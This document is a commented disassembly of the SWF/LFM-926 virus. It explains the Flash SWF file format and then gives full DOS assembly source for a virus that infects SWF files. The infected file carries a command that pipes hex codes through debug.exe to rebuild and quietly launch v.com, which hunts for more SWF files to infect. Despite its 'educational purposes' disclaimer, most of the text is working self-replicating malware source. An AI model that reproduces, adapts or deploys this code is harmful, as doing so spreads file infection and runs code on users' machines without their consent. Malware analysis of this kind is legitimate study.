|
; Disassembly of the SWF/LFM-926 Virus by (-_-) ; DISCLAIMER: ; ----------- ; >>> If you use this demo to create a malicious movie ; >>> and/or distribute it to any system where it does not belong ; >>> you alone will be responsible for your actions. ; ; >>> This demo is strictly intended for educational purposes only. ; How it works: ; ------------- ; When an infected SWF file is executed outside a browser ; using a standalone Flash Player, it pipes a series of hex ; codes (i.e., it converts itself from a binary form into hex strings XX,...,XX) ; into 'debug.exe' to create 'v.com'. The virus hides and executes the file ; via "start /b v.com" which searches for any SWF files in the current directory. ; Once a suitable host file has been found, the virus infects it! ; The SWF Header ; -------------- ; All SWF files begin with the following header: ; ; Field Type Comment ; ===== ==== ======= ; Signature db Signature byte always ‘F’ ; Signature db Signature byte always ‘W’ ; Signature db Signature byte always ‘S’ ; Version db Single byte file version (e.g. 0x04 for SWF 4) ; FileLength dd Length of entire file in bytes ; FrameSize db X dup(0) Frame size in twips (X is a variable number of bytes) ; FrameRate dw Frame delay in 8.8 fixed number of frames per second ; FrameCount dw Total number of frames in movie ; SWF File Structure ; ------------------ ; Following the header are a series of tagged data blocks. ; All tags share a common format, so any program parsing a SWF file can ; skip over blocks it does not understand. ; ; [HEADER | Tag | Tag | Tag | End Tag] ; Tag Format ; ---------- ; Each tag begins with a tag type and a length. ; There are both a short and long tags. ; Short tags are used for blocks with 62 bytes of data or less and ; large tags can be used for any size block. ; ; Field Type Comment (Short Block) ; ===== ==== ===================== ; Code dw Tag ID and Length ; ; The high order 10 bits of the Code field is the tag ID. ; The low order 6 bits of the Code field is the length of the tag in bytes. ; The tag ID and length can be extracted from the Code field like this: ; ; TagID= Code >> 6; ; Length = Code & 0x3f; ; ; If the block is 63 bytes or longer, it is stored in a long tag. ; The long tag consists of a short tag with a length of 0x3f, followed by a 32-bit length. ; ; Field Type Comment (Long Block) ; ===== ==== ==================== ; Code dw Tag ID and Length of 0x3f ; Length dd Length of Tag ; ; Note: The low order 6 bits of the Code value in a long tag are all set to 1. ; Example: The DoAction Tag (ID=12) (0x3f,0x03) can be written as follows: ; ; 0000001100 111111 ; ; where the high order 10 bits 0000001100 = 12 decimal and ; the low order 6 bits 111111 = 0x3f. ; Processing a SWF File ; --------------------- ; The model for processing a stream is that all tags are processed in a stream ; until a ShowFrame tag (ID=1) is encountered. At that point, the display list ; is copied to the screen and the player is idle until it is time to process the ; next frame. ; ; A SWF file is divided into numbered frames by ShowFrame tags. ; Frame 1 is defined by performing all the control operations before ; the first ShowFrame tag. Frame 2 is defined by performing all the control ; operations before the second ShowFrame tag and so on. ; WinNT/XP Virus Dropper ; ---------------------- ; ; Before Infection: ; ================= ; ; [HEADER | Tag | Tag | Tag | End Tag] ; ; After Infection: ; ================ ; ; [HEADER | VIRUS TAG | Tag | Tag | Tag | End Tag] ; ; The Virus Tag Frame contains this pseudo script code: ; ; DoAction Tag ; ActionGetUrl Tag ; FSCommand:exec cmd.exe /c echo Loading.Flash.Movie...&(echo n v.com& echo a 100& ; ...echo db XX,...,XX& echo db XX,...,XX&echo db XX,...,XX& ; ...& echo.& echo rcx& echo VIR_SIZE& echo w& echo q)|debug.exe>nul& start /b v.com ; StringEnd Tag ; ShowFrame tag ; ; Read the online Flash bytecode articles for a description of the various tags. ; Example Hex Dump: ; ----------------- ; Consider this partial hex dump of an SWF file version 05: ; ; Before Infection: ; ================= ; ; 0000:0010 46 57 53 05 F8 12 00 00 78 00 04 65 00 00 15 E0 FWS.ï8..x..e...à ; 0000:0020 00 00 0C 05 00 43 02 66 99 99 3F 03 9B 00 00 00 .....C.f™™?.›... ; 0000:0030 88 6E 00 09 00 56 65 68 69 63 6C 65 00 27 39 39 ˆn...Vehicle.'99 ; 0000:0040 20 41 63 63 6F 6E 64 61 20 44 58 20 53 65 64 61 Acconda DX Seda ; 0000:0050 6E 20 77 69 74 68 20 4D 61 6E 75 61 6C 20 54 72 n with Manual Tr ; ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ; 0000:nnnn 61 74 43 75 72 72 65 6E 63 79 00 40 00 00 00 atCurrency.@... ; ; After Infection: ; ================ ; ; 0000:0010 46 57 53 99 A7 1F 00 00 78 00 04 65 00 00 15 E0 FWS™.F..x..e...à ; 0000:0020 00 00 0C 06 00 3F 03 14 0D 00 00 83 10 0D 46 53 .....?.....ƒ..FS ; 0000:0030 43 6F 6D 6D 61 6E 64 3A 65 78 65 63 00 63 6D 64 Command:exec.cmd ; 0000:0040 2E 65 78 65 09 2F 63 09 65 63 68 6F 09 4C 6F 61 .exe./c.echo.Loa ; 0000:0050 64 69 6E 67 2E 46 6C 61 73 68 2E 4D 6F 76 69 65 ding.Flash.Movie... ; ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ; 0000:0D2A 63 6F 6D 00 01 43 02 66 99 99 3F 03 9B 00 00 00 .com..C.f™™?.›... ; 0000:0D3A 88 6E 00 09 00 56 65 68 69 63 6C 65 00 27 39 39 ˆn...Vehicle.'99 ; 0000:0D4A 20 41 63 63 6F 6E 64 61 20 44 58 20 53 65 64 61 Acconda DX Seda ; 0000:0D5A 6E 20 77 69 74 68 20 4D 61 6E 75 61 6C 20 54 72 n with Manual Tr ; ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ; 0000:nnnn 61 74 43 75 72 72 65 6E 63 79 00 40 00 00 00 atCurrency.@... ; ; ; As you can see, the header (first 21 bytes) is updated with version number 99 ; (the infection marker, was version 05), A7 1F (the file length) and 06 (the frame count). ; ; Next, the virus tag is inserted directly after the header and begins with these bytes ; 3F 03 which is the DoActionTag and ends the virus with the important ShowFrame tag 01. ; ; The host file size increases by 3247 bytes (1FA7 - 12F8). ; The console window pops up briefly with a message "Loading.Flash.Movie..." ; while piping the hex commands to 'debug.exe'. ; Without any further delay ... ; --------------------------------- Begin Source Code ------------------------------------ .286 .model tiny .code org 100h Entry: jmp Start VIR_SIZE equ Virus_End-Entry DTA db 128 dup(0) ; Offset DTA+30 = filename HANDLE dw ? ; Handle to host file PTR1 dd 0 ; Segment address of the created memory block PATH db "*.SWF",0 ; File mask BINARY db "v.com",0 ; Binary code HEX db "0123456789ABCDEF" ; Binary to hex ; Flash header block. ; ------------------- SIGN_FW dw ? ; SWF file format SIGN_S db ? VERSION_NUM db ? FILE_LENGTH dw ? dw ? STATIC_HDR_SIZE equ $-SIGN_FW RECT_BUF db 20 dup(0) ; Header length is variable because the RECT region isn't static. ;( RECT_BUF_SIZE equ $-RECT_BUF HDR_SIZE dw ? ; Holds the true header size! ; Start of Viral Frame 0. ; ----------------------- DROP_BEGIN db 03fh,003h ; DoAction Tag(12) long format. Learn the bytecodes! TAG_LENGTH dw 0 ; (ACTION LENGTH+3)+1[END_TAG] dw 0 db 083h ; ActionGetUrl Tag ACTION_LENGTH dw 0 ; (DROP_BEGIN_SIZE-9)+(SUM OF DROP_MIDDLE)+(DROP_END_SIZE) db 'FSCommand:exec' db 000h db 'cmd.exe' db 009h ; chr(9) is Flash code for a space character. db '/c' db 009h db 'echo' db 009h db 'Loading.Flash.Movie...' db '&' db '(echo' db 009h db 'n' db 009h db 'v.com&echo' db 009h db 'a' db 009h db '100&' DROP_BEGIN_SIZE equ $-DROP_BEGIN DROP_MIDDLE db 'echo' db 009h db 'db' db 009h db 71 dup(',') ; db XX,...,XX where XX's are viral hex codes. db '&' DROP_MIDDLE_SIZE equ $-DROP_MIDDLE DROP_END db '&echo.&echo' db 009h db 'rcx&echo' db 009h db '39E' ; Define hex 39E (VIR_SIZE) as a string. Changes if this code changes. ;) db '&echo' db 009h db 'w&echo' db 009h db 'q)|debug.exe>nul&start' db 009h db '/b' db 009h db 'v.com' db 000h ; StringEnd Tag DROP_END_SIZE equ $-DROP_END ; End of Viral Frame 0. ; --------------------- END_TAG db 001h ; Action code 0x01 = tagshowframe Tag Start: mov ax,(VIR_SIZE+0fh) shr ax,4 shl ax,1 mov bx,ax ; Allocate (VirusSize*2) mov ah,4ah int 21h ; Resize block jc ExProg mov dx,offset DTA ; Set DTA operation mov ah,1ah int 21h mov cx,07h mov dx,offset PATH mov ah,4eh ; FindFirst int 21h jc ExProg jmp Infect Cycle: mov dx,offset PATH mov ah,4fh ; FindNext int 21h jc ExProg jmp Infect ExProg: mov ax,4301h ; Hide v.com mov cx,02h mov dx,offset BINARY int 21h mov ax,4c00h ; End program int 21h Infect: mov byte ptr DTA[30+12],'$' mov dx,offset (DTA+30) mov ax,3d02h ; Open host file int 21h jc ExProg mov [HANDLE],ax ; Save file handle mov ax,3f00h ; Read file Header mov dx,offset SIGN_FW mov bx,[HANDLE] mov cx,(STATIC_HDR_SIZE+RECT_BUF_SIZE) int 21h jc ExProg cmp word ptr SIGN_FW,'WF' ; Check for a valid Flash SWF file. jne Cycle ; Try another file ... cmp byte ptr SIGN_S,'S' jne Cycle cmp byte ptr VERSION_NUM,099h ; Already infected? je Cycle mov cx,RECT_BUF_SIZE ; Search for the SetBackgroundColor Tag. xor di,di ; Seems to always exist directly after the header. ;) next: cmp byte ptr RECT_BUF[di],043h jne not_found cmp byte ptr RECT_BUF[di+1],002h jne not_found jmp found not_found: inc di loop next jmp Cycle found: mov word ptr HDR_SIZE,STATIC_HDR_SIZE add word ptr HDR_SIZE,di ; Compute the header size mov ax,4200h ; Reset file ptr right after Flash header xor cx,cx mov dx,[HDR_SIZE] int 21h jc ExProg push bx mov ax,word ptr FILE_LENGTH add ax,15 shr ax,4 mov bx,ax mov ah,48h ; Allocate memory for target host file int 21h pop bx jc ExProg mov word ptr PTR1[2],ax ; Save pointer to allocated block mov cx,word ptr FILE_LENGTH sub cx,[HDR_SIZE] mov ah,3fh ; Read host file into memory block push ds lds dx,[PTR1] int 21h pop ds jc ExProg mov ax,4200h ; Reset file ptr to the middle code section xor cx,cx mov dx,[HDR_SIZE] add dx,DROP_BEGIN_SIZE int 21h jc ExProg ; ; The following code is a key technique. It simply converts the ; virus from binary to hex characters and then inserts them into the host ; using a standard format that DEBUG.EXE expects! Flash only really ; allows plain text, so this satisfies that condition. ; mov word ptr ACTION_LENGTH,(DROP_BEGIN_SIZE-9+DROP_END_SIZE) push bx mov cx,VIR_SIZE xor si,si xor di,di ToHex: mov bx,offset HEX ; Convert 8-bit binary number to a string representing a hex number mov al,byte ptr Entry[si] mov ah,al and al,00001111y xlat mov DROP_MIDDLE[STATIC_HDR_SIZE+di+1],al shr ax,12 xlat mov DROP_MIDDLE[STATIC_HDR_SIZE+di],al inc si inc di inc di inc di mov ax,si mov bl,24 ; Debug.exe can handle at most 24 defined bytes on 1 line. div bl or ah,ah jnz cont push cx xor di,di add word ptr ACTION_LENGTH,DROP_MIDDLE_SIZE mov bx,[HANDLE] ; Write hex dump entry XX,...,XX mov dx,offset DROP_MIDDLE mov cx,DROP_MIDDLE_SIZE mov ax,4000h int 21h jc ExProg pop cx cont: loop ToHex pop bx or di,di jz no_remainder mov dx,offset DROP_MIDDLE mov cx,di add cx,7 ; STATIC_HDR_SIZE-1 add word ptr ACTION_LENGTH,cx mov ax,4000h ; Write remainder hex dump entry XX,...,XX int 21h jc ExProg no_remainder: mov dx,offset DROP_END mov cx,DROP_END_SIZE+1 mov ax,4000h ; Write end code and end of frame tag(01) into host int 21h jc ExProg mov cx,word ptr FILE_LENGTH sub cx,[HDR_SIZE] mov ax,4000h ; Write host code directly after viral code. push ds lds dx,[PTR1] int 21h pop ds jc ExProg ; Patch the header with new viral values. mov cx,word ptr ACTION_LENGTH add cx,4 mov word ptr TAG_LENGTH,cx add cx,6 add word ptr FILE_LENGTH,cx ; Total file size increase = (TAG_LENGTH+6) ; Set infection marker mov byte ptr VERSION_NUM,099h mov di,[HDR_SIZE] inc word ptr [SIGN_FW+di-2] ; Increase Frame count by 1 mov ax,4200h ; Re-wind to start of file xor cx,cx xor dx,dx int 21h jc ExProg mov dx,offset SIGN_FW mov cx,[HDR_SIZE] mov ax,4000h ; Write updated viral header int 21h jc ExProg mov dx,offset DROP_BEGIN mov cx,DROP_BEGIN_SIZE mov ax,4000h ; Write begin code into host int 21h jc ExProg mov ah,49h ; Free memory block mov es,word ptr PTR1[2] int 21h jc ExProg mov ax,3e00h ; Close file int 21h jc ExProg jmp Cycle ; DONE! Try to infect another Flash .SWF movie. Virus_End: end Entry ; --------------------------------- End Source Code ------------------------------------